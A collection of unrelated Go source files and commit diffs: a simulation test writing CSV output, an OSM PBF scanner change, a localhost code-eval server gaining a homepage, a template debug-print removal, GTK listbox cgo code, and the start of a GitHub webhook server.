func WriteOutput(t *testing.T, s HierarchySpec, n RelationshipMgr, colors [][]int, conversations []int) {
	f, err := os.Create("./out.csv")
	AssertSuccess(t, err)
	defer f.Close()

	var buffer bytes.Buffer

	for c := 0; c < MaxColors; c++ {
		buffer.WriteString(fmt.Sprintf("%s,", Color(c).String()))
	}

	buffer.WriteString("Conversations,,Node,Influence,Susceptibility,Contrariness,Change Count,,Link,Strength,,Levels,TeamSize,TeamLinkLevel,LinkTeamPeers,LinkTeams,InitColors,EvangelistAgents,LoneEvangelist,AgentsWithMemory\n")

	agents := n.Agents()
	links := n.Links()
	iterations := len(conversations)
	agentCount := len(agents)
	linkCount := len(links)
	totalLines := iterations
	if agentCount > totalLines {
		totalLines = agentCount
	}
	if linkCount > totalLines {
		totalLines = linkCount
	}

	for i := 0; i < totalLines; i++ {
		if i < iterations {
			for j := 0; j < MaxColors; j++ {
				buffer.WriteString(fmt.Sprintf("%d,", colors[i][j]))
			}
			buffer.WriteString(fmt.Sprintf("%d", conversations[i]))
		} else {
			for j := 0; j < MaxColors; j++ {
				buffer.WriteString(",")
			}
		}
		if i < agentCount {
			buffer.WriteString(fmt.Sprintf(",,%s,%f,%f,%f,%d", agents[i].Identifier(), agents[i].State().Influence, agents[i].State().Susceptability, agents[i].State().Contrariness, agents[i].State().ChangeCount))
		} else {
			buffer.WriteString(",,,")
		}
		if i < linkCount {
			buffer.WriteString(fmt.Sprintf(",,%s-%s,%d", links[i].Agent1ID, links[i].Agent2ID, links[i].Strength))
		} else {
			buffer.WriteString(",,,")
		}
		if i == 0 {
			var initColors string
			for x := 0; x < len(s.InitColors); x++ {
				initColors = initColors + Color(s.InitColors[x]).String()
			}
			buffer.WriteString(fmt.Sprintf(",,%d,%d,%d,%t,%t,%s,%t,%t,%t\n", s.Levels, s.TeamSize, s.TeamLinkLevel, s.LinkTeamPeers, s.LinkTeams, initColors, s.EvangelistAgents, s.LoneEvangelist, s.AgentsWithMemory))
		} else {
			buffer.WriteString("\n")
		}
	}

	_, err = f.Write(buffer.Bytes())
	AssertSuccess(t, err)
}

func TestRunSim(t *testing.T) {

	s := HierarchySpec{
		4,                  //Levels
		5,                  //TeamSize
		3,                  //TeamLinkLevel
		true,               //LinkTeamPeers
		false,              //LinkTeams
		[]Color{Grey, Red}, //InitColors
		false,              //EvangelistAgents
		false,              //LoneEvangelist
		false,              //AgentsWithMemory
	}

	n, err := GenerateHierarchy(s)
	AssertSuccess(t, err)

	colors, conversations := RunSim(n, 500)
	WriteOutput(t, s, n, colors, conversations)
}
<|endoftext|>


<commit_before>package osmpbf

import (
	"context"
	"io"
	"sync/atomic"

	"github.com/paulmach/osm"
)

var _ osm.Scanner = &Scanner{}

// Scanner provides a convenient interface reading a stream of osm data
// from a file or url. Successive calls to the Scan method will step through the data.
//
// Scanning stops unrecoverably at EOF, the first I/O error, the first xml error or
// the context being cancelled. When a scan stops, the reader may have advanced
// arbitrarily far past the last token.
//
// The Scanner API is based on bufio.Scanner
// https://golang.org/pkg/bufio/#Scanner
type Scanner struct {
	ctx    context.Context
	closed bool

	decoder *decoder
	started bool
	procs   int
	next    osm.Element
	err     error
}

// New returns a new Scanner to read from r.
// procs indicates amount of paralellism, when reading blocks
// which will off load the unzipping/decoding to multiple cpus.
func New(ctx context.Context, r io.Reader, procs int) *Scanner {
	if ctx == nil {
		ctx = context.Background()
	}

	s := &Scanner{
		ctx:   ctx,
		procs: procs,
	}
	s.decoder = newDecoder(ctx, r)

	s.started = true
	s.err = s.decoder.Start(s.procs)
	return s
}

// FullyScannedBytes returns the number of bytes that have been read
// and fully scanned. OSM protobuf files contain data blocks with
// 8000 nodes each. The returned value contains the bytes for the blocks
// that have been fully scanned.
//
// A user can use this number of seek forward in a file
// and begin reading mid-data. Note that while elements are usually sorted
// by Type, ID, Version in OMS protobuf files, versions of given element may
// span blocks.
func (s *Scanner) FullyScannedBytes() int64 {
	return atomic.LoadInt64(&s.decoder.cOffset)
}

// Close cleans up all the reading goroutines, it does not
// close the underlying reader.
func (s *Scanner) Close() error {
	s.closed = true
	return s.decoder.Close()
}

// Header returns the pbf file header with interesting information
// about how it was created.
func (s *Scanner) Header() (*Header, error) {
	return s.decoder.header, s.err
}

// Scan advances the Scanner to the next element, which will then be available
// through the Element method. It returns false when the scan stops, either
// by reaching the end of the input, an io error, an xml error or the context
// being cancelled. After Scan returns false, the Err method will return any
// error that occurred during scanning, except that if it was io.EOF, Err will
// return nil.
func (s *Scanner) Scan() bool {
	if s.err != nil || s.closed || s.ctx.Err() != nil {
		return false
	}

	s.next, s.err = s.decoder.Next()
	return s.err == nil
}

// Element returns the most recent token generated by a call to Scan
// as a new osm Element.
func (s *Scanner) Element() osm.Element {
	return s.next
}

// Err returns the first non-EOF error that was encountered by the Scanner.
func (s *Scanner) Err() error {
	if s.err == io.EOF {
		return nil
	}

	if s.err != nil {
		return s.err
	}

	if s.closed {
		return osm.ErrScannerClosed
	}

	return s.ctx.Err()
}
<commit_msg>osmpbf: start the goroutines on first read<commit_after>package osmpbf

import (
	"context"
	"io"
	"sync/atomic"

	"github.com/paulmach/osm"
)

var _ osm.Scanner = &Scanner{}

// Scanner provides a convenient interface reading a stream of osm data
// from a file or url. Successive calls to the Scan method will step through the data.
//
// Scanning stops unrecoverably at EOF, the first I/O error, the first xml error or
// the context being cancelled. When a scan stops, the reader may have advanced
// arbitrarily far past the last token.
//
// The Scanner API is based on bufio.Scanner
// https://golang.org/pkg/bufio/#Scanner
type Scanner struct {
	ctx    context.Context
	closed bool

	decoder *decoder
	started bool
	procs   int
	next    osm.Element
	err     error
}

// New returns a new Scanner to read from r.
// procs indicates amount of paralellism, when reading blocks
// which will off load the unzipping/decoding to multiple cpus.
func New(ctx context.Context, r io.Reader, procs int) *Scanner {
	if ctx == nil {
		ctx = context.Background()
	}

	s := &Scanner{
		ctx:   ctx,
		procs: procs,
	}
	s.decoder = newDecoder(ctx, r)
	return s
}

// FullyScannedBytes returns the number of bytes that have been read
// and fully scanned. OSM protobuf files contain data blocks with
// 8000 nodes each. The returned value contains the bytes for the blocks
// that have been fully scanned.
//
// A user can use this number of seek forward in a file
// and begin reading mid-data. Note that while elements are usually sorted
// by Type, ID, Version in OMS protobuf files, versions of given element may
// span blocks.
func (s *Scanner) FullyScannedBytes() int64 {
	return atomic.LoadInt64(&s.decoder.cOffset)
}

// Close cleans up all the reading goroutines, it does not
// close the underlying reader.
func (s *Scanner) Close() error {
	s.closed = true
	return s.decoder.Close()
}

// Header returns the pbf file header with interesting information
// about how it was created.
func (s *Scanner) Header() (*Header, error) {
	if !s.started {
		s.started = true
		// the header gets read before Start returns
		s.err = s.decoder.Start(s.procs)
	}

	return s.decoder.header, s.err
}

// Scan advances the Scanner to the next element, which will then be available
// through the Element method. It returns false when the scan stops, either
// by reaching the end of the input, an io error, an xml error or the context
// being cancelled. After Scan returns false, the Err method will return any
// error that occurred during scanning, except that if it was io.EOF, Err will
// return nil.
func (s *Scanner) Scan() bool {
	if !s.started {
		s.started = true
		s.err = s.decoder.Start(s.procs)
	}

	if s.err != nil || s.closed || s.ctx.Err() != nil {
		return false
	}

	s.next, s.err = s.decoder.Next()
	return s.err == nil
}

// Element returns the most recent token generated by a call to Scan
// as a new osm Element.
func (s *Scanner) Element() osm.Element {
	return s.next
}

// Err returns the first non-EOF error that was encountered by the Scanner.
func (s *Scanner) Err() error {
	if s.err == io.EOF {
		return nil
	}

	if s.err != nil {
		return s.err
	}

	if s.closed {
		return osm.ErrScannerClosed
	}

	return s.ctx.Err()
}
<|endoftext|>


<commit_before>package main

// lingua evalia
//
// try it with `curl -i localhost:8000/run --data-binary @hello-world.go`

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
)

type Language interface {
	Eval(code string) (result []byte, err error)
}

type LanguageGo struct{}

var Go = LanguageGo{}

func (g LanguageGo) Eval(code string) ([]byte, error) {
	// write code to temp file
	f, err := writeCode(code)
	defer f.Close()
	if err != nil {
		return nil, err
	}
	// `go run` it
	res, err := runCode(f)
	if err != nil {
		return nil, err
	}
	// remove the file
	os.Remove(f.Name())
	// return output
	return res, nil
}

func writeCode(code string) (*os.File, error) {
	// create tmp file
	f, err := os.Create("/tmp/linguaevalia-go.go") // FIXME: actually create a tmpfile
	if err != nil {
		return f, err
	}
	// write code to it
	_, err = f.Write([]byte(code))
	if err != nil {
		return f, err
	}
	return f, nil
}

func runCode(f *os.File) ([]byte, error) {
	cmd := exec.Command("go", "run", f.Name())
	return cmd.CombinedOutput()
}

func runCodeHandler(w http.ResponseWriter, r *http.Request) {
	code, err := ioutil.ReadAll(r.Body)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	//fmt.Println(string(code))
	res, err := Go.Eval(string(code))
	if err != nil {
		http.Error(w, err.Error(), http.StatusNotAcceptable)
		return
	}
	w.Write(res)
}

func main() {
	addr, port := "localhost", 8000
	fmt.Printf("running on %s:%d\n", addr, port)

	http.HandleFunc("/run", runCodeHandler)

	err := http.ListenAndServe(fmt.Sprintf("%s:%d", addr, port), nil)
	if err != nil {
		log.Fatal(err)
	}
}
<commit_msg>it works!<commit_after>package main

// lingua evalia
//
// try it with `curl -i localhost:8000/run --data-binary @hello-world.go`

import (
	"fmt"
	"html/template"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
)

type Language interface {
	Eval(code string) (result []byte, err error)
}

type LanguageGo struct{}

var Go = LanguageGo{}

func (g LanguageGo) Eval(code string) ([]byte, error) {
	// write code to temp file
	f, err := writeCode(code)
	defer f.Close()
	if err != nil {
		return nil, err
	}
	// `go run` it
	res, err := runCode(f)
	if err != nil {
		return nil, err
	}
	// remove the file
	os.Remove(f.Name())
	// return output
	return res, nil
}

func writeCode(code string) (*os.File, error) {
	// create tmp file
	f, err := os.Create("/tmp/linguaevalia-go.go") // FIXME: actually create a tmpfile
	if err != nil {
		return f, err
	}
	// write code to it
	_, err = f.Write([]byte(code))
	if err != nil {
		return f, err
	}
	return f, nil
}

func runCode(f *os.File) ([]byte, error) {
	cmd := exec.Command("go", "run", f.Name())
	return cmd.CombinedOutput()
}

func runCodeHandler(w http.ResponseWriter, r *http.Request) {
	code, err := ioutil.ReadAll(r.Body)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	//fmt.Println(string(code))
	res, err := Go.Eval(string(code))
	if err != nil {
		http.Error(w, err.Error(), http.StatusNotAcceptable)
		return
	}
	w.Write(res)
}

func homePageHandler(w http.ResponseWriter, r *http.Request) {
	homePageTemplate.Execute(w, nil)
}

var homePageTemplate = template.Must(template.New("homepage").Parse(homePageTemplateStr))

func main() {
	addr, port := "localhost", 8000
	fmt.Printf("running on %s:%d\n", addr, port)

	http.HandleFunc("/run", runCodeHandler)
	http.HandleFunc("/", homePageHandler)

	err := http.ListenAndServe(fmt.Sprintf("%s:%d", addr, port), nil)
	if err != nil {
		log.Fatal(err)
	}
}

const homePageTemplateStr = `
<!doctype html>

    <title>lingua evalia</title>
    <meta charset="utf-8" />

    <textarea id="code" rows="20" cols="80">package main

import (
	"fmt"
)

func main() {
	fmt.Println("Hello, World!")
}
</textarea>

`
<|endoftext|>


<commit_before>package template

import (
	"bytes"
	"fmt"
	"text/template/parse"
)

// Expand parses a given string replacing template keys with attributes values.
func Expand(data string, attrs map[string]interface{}) (string, error) {
	buf := bytes.NewBuffer(nil)

	// Parse response for template keys
	trees, err := parse.Parse("inline", data, "", "")
	if err != nil {
		return "", ErrInvalidTemplate
	}

	for _, node := range trees["inline"].Root.Nodes {
		if text, ok := node.(*parse.TextNode); ok {
			buf.Write(text.Text)
		} else if action, ok := node.(*parse.ActionNode); ok {
			if len(action.Pipe.Cmds) != 1 {
				continue
			}

			for _, arg := range action.Pipe.Cmds[0].Args {
				fmt.Printf(">>> %#v\n", arg)
				if field, ok := arg.(*parse.FieldNode); ok {
					if len(field.Ident) == 1 {
						// Replace template key with attribute value
						if v, ok := attrs[field.Ident[0]]; ok && v != nil {
							buf.WriteString(fmt.Sprintf("%v", v))
						}
					} else {
						return "", ErrInvalidTemplate
					}
				}
			}
		}
	}

	return buf.String(), nil
}
<commit_msg>Remove debugging string<commit_after>package template

import (
	"bytes"
	"fmt"
	"text/template/parse"
)

// Expand parses a given string replacing template keys with attributes values.
func Expand(data string, attrs map[string]interface{}) (string, error) {
	buf := bytes.NewBuffer(nil)

	// Parse response for template keys
	trees, err := parse.Parse("inline", data, "", "")
	if err != nil {
		return "", ErrInvalidTemplate
	}

	for _, node := range trees["inline"].Root.Nodes {
		if text, ok := node.(*parse.TextNode); ok {
			buf.Write(text.Text)
		} else if action, ok := node.(*parse.ActionNode); ok {
			if len(action.Pipe.Cmds) != 1 {
				continue
			}

			for _, arg := range action.Pipe.Cmds[0].Args {
				if field, ok := arg.(*parse.FieldNode); ok {
					if len(field.Ident) == 1 {
						// Replace template key with attribute value
						if v, ok := attrs[field.Ident[0]]; ok && v != nil {
							buf.WriteString(fmt.Sprintf("%v", v))
						}
					} else {
						return "", ErrInvalidTemplate
					}
				}
			}
		}
	}

	return buf.String(), nil
}
<|endoftext|>


<commit_before>// +build !windows,!darwin,!plan9

// 17 february 2014

package ui

import (
	"unsafe"
)

/*
GTK+ 3.10 introduces a dedicated GtkListView type for simple listboxes like our Listbox. Unfortunately, since I want to target at least GTK+ 3.4, I need to do things the old, long, and hard way: manually with a GtkTreeView and GtkListStore model.

You are not expected to understand this.

if you must though:
GtkTreeViews are model/view. We use a GtkListStore as a model.
GtkTreeViews also separate selections into another type, but the GtkTreeView creates the selection object for us.
GtkTreeViews can scroll, but do not draw scrollbars or borders; we need to use a GtkScrolledWindow to hold the GtkTreeView to do so. We return the GtkScrolledWindow and get its control out when we want to access the GtkTreeView.
Like with Windows, there's a difference between signle-selection and multi-selection GtkTreeViews when it comes to getting the list of selections that we can exploit. The GtkTreeSelection class hands us an iterator and the model (for some reason). We pull a GtkTreePath out of the iterator, which we can then use to get the indices or text data.

For more information, read
	https://developer.gnome.org/gtk3/3.4/TreeWidget.html
	http://ubuntuforums.org/showthread.php?t=1208655
	http://scentric.net/tutorial/sec-treemodel-remove-row.html
	http://gtk.10911.n7.nabble.com/Scrollbars-in-a-GtkTreeView-td58076.html
	http://stackoverflow.com/questions/11407447/gtk-treeview-get-current-row-index-in-python (I think; I don't remember if I wound up using this one as a reference or not; I know after that I found the ubuntuforums link above)
and the GTK+ reference documentation.
*/

// #cgo pkg-config: gtk+-3.0
// #include "gtk_unix.h"
// /* because cgo seems to choke on ... */
// void gtkTreeModelGet(GtkTreeModel *model, GtkTreeIter *iter, gchar **gs)
// {
// 	/* 0 is the column #; we only have one column here */
// 	gtk_tree_model_get(model, iter, 0, gs, -1);
// }
// GtkListStore *gtkListStoreNew(void)
// {
// 	/* 1 column that stores strings */
// 	return gtk_list_store_new(1, G_TYPE_STRING);
// }
// void gtkListStoreSet(GtkListStore *ls, GtkTreeIter *iter, char *gs)
// {
// 	/* same parameters as in gtkTreeModelGet() */
// 	gtk_list_store_set(ls, iter, 0, (gchar *) gs, -1);
// }
// GtkTreeViewColumn *gtkTreeViewColumnNewWithAttributes(GtkCellRenderer *renderer)
// {
// 	/* "" is the column header; "text" associates the text of the column with column 0 */
// 	return gtk_tree_view_column_new_with_attributes("", renderer, "text", 0, NULL);
// }
import "C"

func fromgtktreemodel(x *C.GtkTreeModel) *C.GtkWidget {
	return (*C.GtkWidget)(unsafe.Pointer(x))
}

func togtktreemodel(what *C.GtkWidget) *C.GtkTreeModel {
	return (*C.GtkTreeModel)(unsafe.Pointer(what))
}

func fromgtktreeview(x *C.GtkTreeView) *C.GtkWidget {
	return (*C.GtkWidget)(unsafe.Pointer(x))
}

func togtktreeview(what *C.GtkWidget) *C.GtkTreeView {
	return (*C.GtkTreeView)(unsafe.Pointer(what))
}

func gListboxNew(multisel bool) *C.GtkWidget {
	store := C.gtkListStoreNew()
	widget := C.gtk_tree_view_new_with_model((*C.GtkTreeModel)(unsafe.Pointer(store)))
	tv := (*C.GtkTreeView)(unsafe.Pointer(widget))
	column := C.gtkTreeViewColumnNewWithAttributes(C.gtk_cell_renderer_text_new())
	// TODO set AUTOSIZE?
	C.gtk_tree_view_append_column(tv, column)
	C.gtk_tree_view_set_headers_visible(tv, C.FALSE)
	sel := C.GTK_SELECTION_SINGLE
	if multisel {
		sel = C.GTK_SELECTION_MULTIPLE
	}
	C.gtk_tree_selection_set_mode(C.gtk_tree_view_get_selection(tv), C.GtkSelectionMode(sel))
	scrollarea := C.gtk_scrolled_window_new((*C.GtkAdjustment)(nil), (*C.GtkAdjustment)(nil))
	C.gtk_scrolled_window_set_shadow_type((*C.GtkScrolledWindow)(unsafe.Pointer(scrollarea)), C.GTK_SHADOW_IN)
	C.gtk_container_add((*C.GtkContainer)(unsafe.Pointer(scrollarea)), widget)
	return scrollarea
}

func gListboxNewSingle() *C.GtkWidget {
	return gListboxNew(false)
}

func gListboxNewMulti() *C.GtkWidget {
	return gListboxNew(true)
}

func getTreeViewFrom(widget *C.GtkWidget) *C.GtkTreeView {
	wid := C.gtk_bin_get_child((*C.GtkBin)(unsafe.Pointer(widget)))
	return (*C.GtkTreeView)(unsafe.Pointer(wid))
}

func gListboxText(widget *C.GtkWidget) string {
	var model *C.GtkTreeModel
	var iter C.GtkTreeIter
	var gs *C.gchar

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	if !fromgbool(C.gtk_tree_selection_get_selected(sel, &model, &iter)) {
		return ""
	}
	C.gtkTreeModelGet(model, &iter, &gs)
	return C.GoString(fromgchar(gs))
}

func gListboxAppend(widget *C.GtkWidget, what string) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	C.gtk_list_store_append(ls, &iter)
	cwhat := C.CString(what)
	defer C.free(unsafe.Pointer(cwhat))
	C.gtkListStoreSet(ls, &iter, cwhat)
}

func gListboxInsert(widget *C.GtkWidget, index int, what string) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	C.gtk_list_store_insert(ls, &iter, C.gint(index))
	cwhat := C.CString(what)
	defer C.free(unsafe.Pointer(cwhat))
	C.gtkListStoreSet(ls, &iter, cwhat)
}

func gListboxSelectedMulti(widget *C.GtkWidget) (indices []int) {
	var model *C.GtkTreeModel

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	rows := C.gtk_tree_selection_get_selected_rows(sel, &model)
	defer C.g_list_free_full(rows, C.GDestroyNotify(unsafe.Pointer(C.gtk_tree_path_free)))
	// TODO needed?
	len := C.g_list_length(rows)
	if len == 0 {
		return nil
	}
	indices = make([]int, len)
	for i := C.guint(0); i < len; i++ {
		path := (*C.GtkTreePath)(unsafe.Pointer(rows.data))
		idx := C.gtk_tree_path_get_indices(path)
		indices[i] = int(*idx)
		rows = rows.next
	}
	return indices
}

func gListboxSelMultiTexts(widget *C.GtkWidget) (texts []string) {
	var model *C.GtkTreeModel
	var iter C.GtkTreeIter
	var gs *C.gchar

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	rows := C.gtk_tree_selection_get_selected_rows(sel, &model)
	defer C.g_list_free_full(rows, C.GDestroyNotify(unsafe.Pointer(C.gtk_tree_path_free)))
	len := C.g_list_length(rows)
	if len == 0 {
		return nil
	}
	texts = make([]string, len)
	for i := C.guint(0); i < len; i++ {
		path := (*C.GtkTreePath)(unsafe.Pointer(rows.data))
		if !fromgbool(C.gtk_tree_model_get_iter(model, &iter, path)) {
			// TODO
			return
		}
		C.gtkTreeModelGet(model, &iter, &gs)
		texts[i] = C.GoString(fromgchar(gs))
		rows = rows.next
	}
	return texts
}

func gListboxDelete(widget *C.GtkWidget, index int) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	if !fromgbool(C.gtk_tree_model_iter_nth_child((*C.GtkTreeModel)(unsafe.Pointer(ls)), &iter, (*C.GtkTreeIter)(nil), C.gint(index))) {		// no such index
		// TODO
		return
	}
	C.gtk_list_store_remove(ls, &iter)
}

// this is a separate function because Combobox uses it too
func gtkTreeModelListLen(model *C.GtkTreeModel) int {
	// "As a special case, if iter is NULL, then the number of toplevel nodes is returned."
	return int(C.gtk_tree_model_iter_n_children(model, (*C.GtkTreeIter)(nil)))
}

func gListboxLen(widget *C.GtkWidget) int {
	tv := getTreeViewFrom(widget)
	model := C.gtk_tree_view_get_model(tv)
	return gtkTreeModelListLen(model)
}
<commit_msg>Added thanks comment (see previous commit).<commit_after>// +build !windows,!darwin,!plan9

// 17 february 2014

package ui

import (
	"unsafe"
)

/*
GTK+ 3.10 introduces a dedicated GtkListView type for simple listboxes like our Listbox. Unfortunately, since I want to target at least GTK+ 3.4, I need to do things the old, long, and hard way: manually with a GtkTreeView and GtkListStore model.

You are not expected to understand this.

if you must though:
GtkTreeViews are model/view. We use a GtkListStore as a model.
GtkTreeViews also separate selections into another type, but the GtkTreeView creates the selection object for us.
GtkTreeViews can scroll, but do not draw scrollbars or borders; we need to use a GtkScrolledWindow to hold the GtkTreeView to do so. We return the GtkScrolledWindow and get its control out when we want to access the GtkTreeView.
Like with Windows, there's a difference between signle-selection and multi-selection GtkTreeViews when it comes to getting the list of selections that we can exploit. The GtkTreeSelection class hands us an iterator and the model (for some reason). We pull a GtkTreePath out of the iterator, which we can then use to get the indices or text data.

For more information, read
	https://developer.gnome.org/gtk3/3.4/TreeWidget.html
	http://ubuntuforums.org/showthread.php?t=1208655
	http://scentric.net/tutorial/sec-treemodel-remove-row.html
	http://gtk.10911.n7.nabble.com/Scrollbars-in-a-GtkTreeView-td58076.html
	http://stackoverflow.com/questions/11407447/gtk-treeview-get-current-row-index-in-python (I think; I don't remember if I wound up using this one as a reference or not; I know after that I found the ubuntuforums link above)
and the GTK+ reference documentation.
*/

// #cgo pkg-config: gtk+-3.0
// #include "gtk_unix.h"
// /* because cgo seems to choke on ... */
// void gtkTreeModelGet(GtkTreeModel *model, GtkTreeIter *iter, gchar **gs)
// {
// 	/* 0 is the column #; we only have one column here */
// 	gtk_tree_model_get(model, iter, 0, gs, -1);
// }
// GtkListStore *gtkListStoreNew(void)
// {
// 	/* 1 column that stores strings */
// 	return gtk_list_store_new(1, G_TYPE_STRING);
// }
// void gtkListStoreSet(GtkListStore *ls, GtkTreeIter *iter, char *gs)
// {
// 	/* same parameters as in gtkTreeModelGet() */
// 	gtk_list_store_set(ls, iter, 0, (gchar *) gs, -1);
// }
// GtkTreeViewColumn *gtkTreeViewColumnNewWithAttributes(GtkCellRenderer *renderer)
// {
// 	/* "" is the column header; "text" associates the text of the column with column 0 */
// 	return gtk_tree_view_column_new_with_attributes("", renderer, "text", 0, NULL);
// }
import "C"

func fromgtktreemodel(x *C.GtkTreeModel) *C.GtkWidget {
	return (*C.GtkWidget)(unsafe.Pointer(x))
}

func togtktreemodel(what *C.GtkWidget) *C.GtkTreeModel {
	return (*C.GtkTreeModel)(unsafe.Pointer(what))
}

func fromgtktreeview(x *C.GtkTreeView) *C.GtkWidget {
	return (*C.GtkWidget)(unsafe.Pointer(x))
}

func togtktreeview(what *C.GtkWidget) *C.GtkTreeView {
	return (*C.GtkTreeView)(unsafe.Pointer(what))
}

func gListboxNew(multisel bool) *C.GtkWidget {
	store := C.gtkListStoreNew()
	widget := C.gtk_tree_view_new_with_model((*C.GtkTreeModel)(unsafe.Pointer(store)))
	tv := (*C.GtkTreeView)(unsafe.Pointer(widget))
	column := C.gtkTreeViewColumnNewWithAttributes(C.gtk_cell_renderer_text_new())
	// TODO set AUTOSIZE?
	C.gtk_tree_view_append_column(tv, column)
	C.gtk_tree_view_set_headers_visible(tv, C.FALSE)
	sel := C.GTK_SELECTION_SINGLE
	if multisel {
		sel = C.GTK_SELECTION_MULTIPLE
	}
	C.gtk_tree_selection_set_mode(C.gtk_tree_view_get_selection(tv), C.GtkSelectionMode(sel))
	scrollarea := C.gtk_scrolled_window_new((*C.GtkAdjustment)(nil), (*C.GtkAdjustment)(nil))
	// thanks to jlindgren in irc.gimp.net/#gtk+
	C.gtk_scrolled_window_set_shadow_type((*C.GtkScrolledWindow)(unsafe.Pointer(scrollarea)), C.GTK_SHADOW_IN)
	C.gtk_container_add((*C.GtkContainer)(unsafe.Pointer(scrollarea)), widget)
	return scrollarea
}

func gListboxNewSingle() *C.GtkWidget {
	return gListboxNew(false)
}

func gListboxNewMulti() *C.GtkWidget {
	return gListboxNew(true)
}

func getTreeViewFrom(widget *C.GtkWidget) *C.GtkTreeView {
	wid := C.gtk_bin_get_child((*C.GtkBin)(unsafe.Pointer(widget)))
	return (*C.GtkTreeView)(unsafe.Pointer(wid))
}

func gListboxText(widget *C.GtkWidget) string {
	var model *C.GtkTreeModel
	var iter C.GtkTreeIter
	var gs *C.gchar

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	if !fromgbool(C.gtk_tree_selection_get_selected(sel, &model, &iter)) {
		return ""
	}
	C.gtkTreeModelGet(model, &iter, &gs)
	return C.GoString(fromgchar(gs))
}

func gListboxAppend(widget *C.GtkWidget, what string) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	C.gtk_list_store_append(ls, &iter)
	cwhat := C.CString(what)
	defer C.free(unsafe.Pointer(cwhat))
	C.gtkListStoreSet(ls, &iter, cwhat)
}

func gListboxInsert(widget *C.GtkWidget, index int, what string) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	C.gtk_list_store_insert(ls, &iter, C.gint(index))
	cwhat := C.CString(what)
	defer C.free(unsafe.Pointer(cwhat))
	C.gtkListStoreSet(ls, &iter, cwhat)
}

func gListboxSelectedMulti(widget *C.GtkWidget) (indices []int) {
	var model *C.GtkTreeModel

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	rows := C.gtk_tree_selection_get_selected_rows(sel, &model)
	defer C.g_list_free_full(rows, C.GDestroyNotify(unsafe.Pointer(C.gtk_tree_path_free)))
	// TODO needed?
	len := C.g_list_length(rows)
	if len == 0 {
		return nil
	}
	indices = make([]int, len)
	for i := C.guint(0); i < len; i++ {
		path := (*C.GtkTreePath)(unsafe.Pointer(rows.data))
		idx := C.gtk_tree_path_get_indices(path)
		indices[i] = int(*idx)
		rows = rows.next
	}
	return indices
}

func gListboxSelMultiTexts(widget *C.GtkWidget) (texts []string) {
	var model *C.GtkTreeModel
	var iter C.GtkTreeIter
	var gs *C.gchar

	tv := getTreeViewFrom(widget)
	sel := C.gtk_tree_view_get_selection(tv)
	rows := C.gtk_tree_selection_get_selected_rows(sel, &model)
	defer C.g_list_free_full(rows, C.GDestroyNotify(unsafe.Pointer(C.gtk_tree_path_free)))
	len := C.g_list_length(rows)
	if len == 0 {
		return nil
	}
	texts = make([]string, len)
	for i := C.guint(0); i < len; i++ {
		path := (*C.GtkTreePath)(unsafe.Pointer(rows.data))
		if !fromgbool(C.gtk_tree_model_get_iter(model, &iter, path)) {
			// TODO
			return
		}
		C.gtkTreeModelGet(model, &iter, &gs)
		texts[i] = C.GoString(fromgchar(gs))
		rows = rows.next
	}
	return texts
}

func gListboxDelete(widget *C.GtkWidget, index int) {
	var iter C.GtkTreeIter

	tv := getTreeViewFrom(widget)
	ls := (*C.GtkListStore)(unsafe.Pointer(C.gtk_tree_view_get_model(tv)))
	if !fromgbool(C.gtk_tree_model_iter_nth_child((*C.GtkTreeModel)(unsafe.Pointer(ls)), &iter, (*C.GtkTreeIter)(nil), C.gint(index))) {		// no such index
		// TODO
		return
	}
	C.gtk_list_store_remove(ls, &iter)
}

// this is a separate function because Combobox uses it too
func gtkTreeModelListLen(model *C.GtkTreeModel) int {
	// "As a special case, if iter is NULL, then the number of toplevel nodes is returned."
	return int(C.gtk_tree_model_iter_n_children(model, (*C.GtkTreeIter)(nil)))
}

func gListboxLen(widget *C.GtkWidget) int {
	tv := getTreeViewFrom(widget)
	model := C.gtk_tree_view_get_model(tv)
	return gtkTreeModelListLen(model)
}
<|endoftext|>


<commit_before>package ghooks

import (
	"encoding/json"
	"fmt"
	"net/http"
	"strconv"
	"strings"
)

const (
	VERSION = 0.1
)

type Server struct {
	Port int
}

type Hook struct {
	Event string
	Func  func(payload interface{})
}

type Hooks struct {
	Hooks []Hook
}

var hooks Hooks

func (s *Server) On(name string, handler func(payload interface{})) {
	hooks.Hooks = append(hooks.Hooks, Hook{Event: name, Func: handler})
}

func Emmit(name string, payload interface{}) {
	for _, v := range hooks.Hooks {
		if strings.EqualFold(v.Event, name) {
			v.Func(payload)
		}
	}
}

func NewServer(port int) *Server {
	return &Server{port}
}

func (s *Server) Run() error {
	fmt.Printf("ghooks server start 0.0.0.0:%d \n", s.Port)
	http.HandleFunc("/", Reciver)
	return http.ListenAndServe(":"+strconv.Itoa(s.Port), nil)
}

func Reciver(w http.ResponseWriter, req *http.Request) {
	if req.Method == "GET" {
		http.Error(w, "Method Not Allowd", http.StatusMethodNotAllowed)
		return
	}

	event := req.Header.Get("X-GitHub-Event")

	if event == "" {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	if req.Body == nil {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}
	defer req.Body.Close()

	var payload interface{}
